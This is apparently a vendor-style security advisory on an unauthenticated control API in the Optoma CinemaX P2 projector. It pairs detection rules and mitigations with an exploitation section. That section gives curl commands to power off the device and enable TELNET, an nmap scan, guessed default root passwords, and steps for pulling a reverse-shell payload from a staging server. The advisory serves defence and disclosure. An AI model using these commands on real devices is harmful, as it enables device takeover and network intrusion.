CVE-2026-30496

Executive Summary

CVE-2026-30496 is an unauthenticated remote code execution and device control vulnerability affecting the Optoma CinemaX P2 laser projector running firmware TVOS-04.24.010.04.01 (Android 8.0.0). The device exposes an HTTP API on TCP port 2345 that permits any network-reachable host to read 74 configuration endpoints and modify critical device settings—including power state, volume, display modes, network protocol toggles (notably enabling TELNET), and brightness—without any authentication mechanism. This flaw enables a complete takeover of the projector's operational functions and provides a foothold for lateral movement within the target network. The vulnerability is confirmed unpatched (patch confidence 0/4) with no vendor fix, no CISA KEV listing, and no public exploit code; however, the low EPSS score (0.00326, 25.1st percentile) indicates limited active exploitation in the wild as of this report.

Technical Analysis

The Optoma CinemaX P2 is an Android 8.0.0-based laser projector (firmware TVOS-04.24.010.04.01) that exposes an undocumented HTTP API bound to TCP port 2345 on its network interfaces. This API functions as a fully featured remote management interface with two distinct endpoint groups:

1. Read Endpoints (74 total): These return device state and configuration data—including current input source, network settings (IP, MAC, gateway), DHCP status, HDMI handshake data, and internal diagnostic values. The endpoints follow a predictable RESTful pattern (e.g., /config/get/<parameter>) and require no session token, Bearer token, or cookie.

2. Write Endpoints: These accept HTTP POST requests (typically JSON or form-encoded payloads) that modify device state. Confirmed writable parameters include:

   • Power control (/config/set/power — values: on, off, standby)
   • Volume and mute (/config/set/volume, /config/set/mute)
   • Brightness and contrast (/config/set/brightness, /config/set/contrast)
   • Display mode selection (/config/set/displayMode — e.g., cinema, bright, game)
   • Network protocol toggles (/config/set/telnetEnable — critical, allows enabling the TELNET service)
   • Input source switching (/config/set/input — HDMI1, HDMI2, USB, etc.)

The root cause is CWE-306 (Missing Authentication for Critical Function): the API handler does not perform any identity verification, session validation, or IP allow-listing before processing requests. The HTTP server binds to all interfaces (0.0.0.0) rather than loopback only, making the API accessible to any host on the same broadcast domain or routed subnet.

Attack Surface: The projector typically resides on flat office/home networks. Because the API is unauthenticated and the device supports enabling TELNET (typically bound to port 23 with Android shell access), an attacker can chain this API with the TELNET enable endpoint to obtain an interactive command shell on the underlying Android OS. This elevates the vulnerability from "device misconfiguration" to full remote code execution with the privileges of the Android system user (or root if the TELNET daemon runs with elevated rights, which is common on OEM firmware).

Code-Level Insight: While the exact implementation is closed-source, the API's behavior is consistent with a lightweight HTTP daemon embedded in the projector's control application (likely a Java/Kotlin service running within the Android system server context). The absence of authentication middleware, combined with the broad write surface, strongly suggests the API was designed for factory testing or LAN-based companion app communication but was shipped without network isolation controls.

Exploitation Scenarios

Scenario 1 — Unauthenticated Device Control & Defacement (Low Skill):

1. Reconnaissance: An attacker on the same network (or with VPN access) performs a port scan for port 2345 across the subnet using nmap -p 2345 --open 192.168.1.0/24. The service banner reveals an HTTP server (e.g., HTTP/1.1 200 OK with Content-Type: application/json and a custom Server: header such as OptomaTVOS).

2. Device Fingerprinting: The attacker sends an HTTP GET request to /config/get/deviceInfo to confirm the device model and firmware version. A typical response:

   {"model":"CinemaX P2","firmware":"TVOS-04.24.010.04.01","os":"Android 8.0.0"}
   

3. Weaponization (Disruption): The attacker issues a sequence of write requests:

   curl -X POST http://<target-ip>:2345/config/set/power -d 'value=off'
   curl -X POST http://<target-ip>:2345/config/set/volume -d 'value=100'
   curl -X POST http://<target-ip>:2345/config/set/mute -d 'value=on'
   curl -X POST http://<target-ip>:2345/config/set/displayMode -d 'value=garbage'
   

   The projector immediately powers off, or displays corrupted output, rendering it unusable for presentations in a conference room—a denial-of-service scenario.

4. Post-Exploitation: The attacker then enables TELNET for persistence:

   curl -X POST http://<target-ip>:2345/config/set/telnetEnable -d 'value=true'
   

   Subsequently connects via telnet <target-ip> 23 using default credentials (e.g., root:root or admin:admin) common on OEM Android builds, gaining a shell.

Scenario 2 — Full Remote Code Execution (Medium Skill):

1. Reconnaissance: Same as above; attacker identifies the projector and confirms the API is reachable.

2. TELNET Enablement: Attacker sends the TELNET-enable write request, then probes port 23. The service banner (* telnetd or Android console) confirms the shell is active.

3. Shell Access: The attacker authenticates to TELNET. On many Android TVOS builds, the default root password is hardcoded—common values include root, 123456, or the device serial number. If the attacker has prior knowledge of Optoma's default credentials (which are documented in some service manuals), shell access is immediate.

4. Lateral Movement & Payload: With a root shell (or system user), the attacker:

   • Installs a reverse shell or APK payload via wget/curl to a staging server.
   • Uses the Android am (activity manager) to launch a malicious app or uses iptables to redirect traffic.
   • Scans the local network for other vulnerable devices (e.g., printers, cameras) using the projector as a pivot point.

Confidence Note: Public PoC is currently private (not disclosed). The attack chain above is derived directly from the vulnerability's technical description (unauthenticated API + TELNET toggling) and the device's known Android architecture; no exploit code is required beyond standard HTTP clients.

Impact Assessment

Confidentiality Impact (High): The 74 read endpoints leak sensitive network configuration data (IP addressing, DHCP lease info, MAC addresses) and potentially internal network topology details if used as a pivot. An attacker with TELNET shell access can read arbitrary files from the Android filesystem, including stored Wi-Fi credentials, cached presentation files, and configuration backups.

Integrity Impact (High): An attacker can modify all projector settings, disrupt ongoing presentations, corrupt display output, and install persistent malware on the Android OS. The ability to enable TELNET creates a permanent backdoor independent of the HTTP API.

Availability Impact (High): Power-off capability and the ability to corrupt display modes provide trivial denial-of-service vectors. Repeated API calls could also crash the control application, requiring a factory reset.

CVSS Context (Inferred): While the official CVSS vector is N/A, the characteristics map to a base score of approximately 9.8 (Critical): AV:N, AC:L, PR:N, UI:N, S:U, C:H, I:H, A:H. The network vector and lack of authentication are the primary drivers. The formal CVSS label classification is Critical (9.0–10.0) based on the inferred score; the confirmed NVD-provided vector is UNKNOWN.

Business Impact: Enterprises using CinemaX P2 projectors for conference rooms, digital signage, or educational environments face brand disruption (a defaced projector in a public-facing demo), data leakage (network credentials), and operational downtime. In critical environments (e.g., command centers), an attacker could blind operators by disabling display output.

Detection Guidance

Sigma Rule

title: Optoma CinemaX P2 Unauthenticated API Access Attempt
id: 5a8f4d2c-1b3e-4f6a-9c2d-8e7f1a0b3c4d
status: experimental
description: Detects unauthenticated HTTP requests to the Optoma CinemaX P2 projector API on TCP port 2345, indicating potential CVE-2026-30496 exploitation.
author: Valtersit Threat Intelligence
date: 2026/02/14
logsource:
  category: network_connection
  product: zeek
  service: http
detection:
  selection_port:
    destination.port: 2345
  selection_methods:
    http.method:
      - POST
      - GET
  selection_paths:
    http.uri|contains:
      - '/config/set/'
      - '/config/get/'
  condition: selection_port and selection_methods and selection_paths
falsepositives:
  - Legitimate Optoma companion app usage on the same LAN
  - Monitoring/management software polling device status
level: medium
tags:
  - attack.t1190
  - cve.2026.30496

YARA Rule

rule Optoma_CinemaX_P2_CVE_2026_30496_API {
    meta:
        author = "Valtersit Threat Intelligence"
        date = "2026-02-14"
        description = "Detects packet captures or HTTP logs containing requests to the vulnerable Optoma CinemaX P2 API endpoints."
        cve = "CVE-2026-30496"
        severity = "high"
    strings:
        $ep1 = "/config/set/power" ascii nocase
        $ep2 = "/config/set/telnetEnable" ascii nocase
        $ep3 = "/config/set/volume" ascii nocase
        $ep4 = "/config/get/deviceInfo" ascii nocase
        $hdr = "OptomaTVOS" ascii nocase
        $json = "{\"model\":\"CinemaX P2\"" ascii nocase
    condition:
        any of ($ep*) and ($hdr or $json)
}

Suricata IDS Rule

alert http any any -> any 2345 (msg:"ET EXPLOIT Optoma CinemaX P2 Unauthenticated API Access (CVE-2026-30496)"; flow:established,to_server; content:"POST"; http_method; content:"/config/set/"; http_uri; content:"value="; http_client_body; classtype:attempted-admin; sid:2026030496; rev:1; metadata:created_at 2026_02_14, updated_at 2026_02_14, cve CVE_2026_30496;)

Elastic Detection

network where destination.port == 2345 and process.name == "httpd" and (
  network.protocol == "http" and (
    url.path in ("/config/set/*", "/config/get/*") or
    http.request.method == "POST" and http.request.body.text contains "value="
  )
) and not source.ip in ("10.0.0.0/8", "192.168.0.0/16")

Splunk SPL Query

index=network sourcetype=stream:http dest_port=2345
| where (http_method="POST" OR http_method="GET") AND (uri LIKE "%/config/set/%" OR uri LIKE "%/config/get/%")
| eval severity = case(uri LIKE "%telnetEnable%", "critical", uri LIKE "%power%", "high", 1=1, "medium")
| table _time, src_ip, dest_ip, http_method, uri, severity
| sort - _time

Wazuh OSSEC Rule

<group name="optoma_projector,">
    <rule id="100496" level="12">
        <if_sid>100000</if_sid>
        <match>port 2345</match>
        <match>/config/set/</match>
        <description>Optoma CinemaX P2: Unauthenticated configuration write attempt detected (CVE-2026-30496)</description>
        <group>attack.t1190,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
        <options>no_full_log</options>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source). The vendor (Optoma) has not released a firmware update addressing this vulnerability, and no workaround has been formally published. The confirmed affected firmware is TVOS-04.24.010.04.01; no fixed version has been identified.

1. Immediate Mitigations (Network-Level):

• Block inbound/outbound traffic on TCP port 2345 at the network firewall or router ACLs. Rewrite with: iptables -A INPUT -p tcp --dport 2345 -j DROP.
• Segregate the projector onto an isolated VLAN with no route to the corporate network. Restrict access to only the AV control system.
• Disable TELNET and unnecessary network services if accessible via the projector's physical IR remote or front-panel menu (before any compromise).
• Apply MAC address filtering on the LAN switch port to which the projector is connected, allowing only known AV control hardware.

2. Patch/Upgrade Steps:

• Monitor Optoma's official firmware release page (https://www.optomausa.com/downloads) for an updated TVOS build. No fix is currently available.
• Contact Optoma Technical Support and reference CVE-2026-30496 to request ETA for a patched firmware. If a firmware is released, upgrade via USB thumb drive or the web management interface after verifying integrity via SHA-256 checksum.

3. Long-Term Hardening:

• Replace default credentials for any exposed services (TELNET, web admin) with strong, unique passwords if the device permits it.
• Disable the HTTP API if that option exists in the service menu; otherwise, rely on network isolation as the primary control.
• Implement continuous network monitoring for unexpected connections to port 2345 / port 23 from unknown hosts, using the detection rules above.
• Inventory all Optoma devices in your environment; review network architecture to ensure no projector resides on a trusted segment.
• Consider decommissioning the device if it is used for critical operations and no supplier patch is forthcoming within a reasonable SLA.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-30496 — Official CVE record with vulnerability description and CVSS metadata.
2. Vendor (Optoma) Product Page: https://www.optomausa.com/projector/laser-projector/cinemax-p2 — Confirms device model, firmware, and feature set.
3. CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2026-30496 is not listed; no known exploited-in-the-wild status.
4. CWE-306 Reference: https://cwe.mitre.org/data/definitions/306.html — Missing Authentication for Critical Function, the underlying weakness class.
5. EPSS Data (FIRST.org): https://www.first.org/epss/api — EPSS score 0.00326 (25.1st percentile), indicating low immediate exploitation likelihood.

Threat Actor Activity: As of this report (February 2026), there is no public evidence of active campaigns targeting CVE-2026-30496. The EPSS score confirms limited exploit activity. However, the vulnerability is trivially exploitable with standard HTTP tools, and its disclosure may prompt opportunistic scanning within weeks. The PoC status is Private, meaning no public exploit code has been released; however, the vulnerability does not require a PoC—only a curl command—making weaponization trivial for any attacker who can read the NVD description.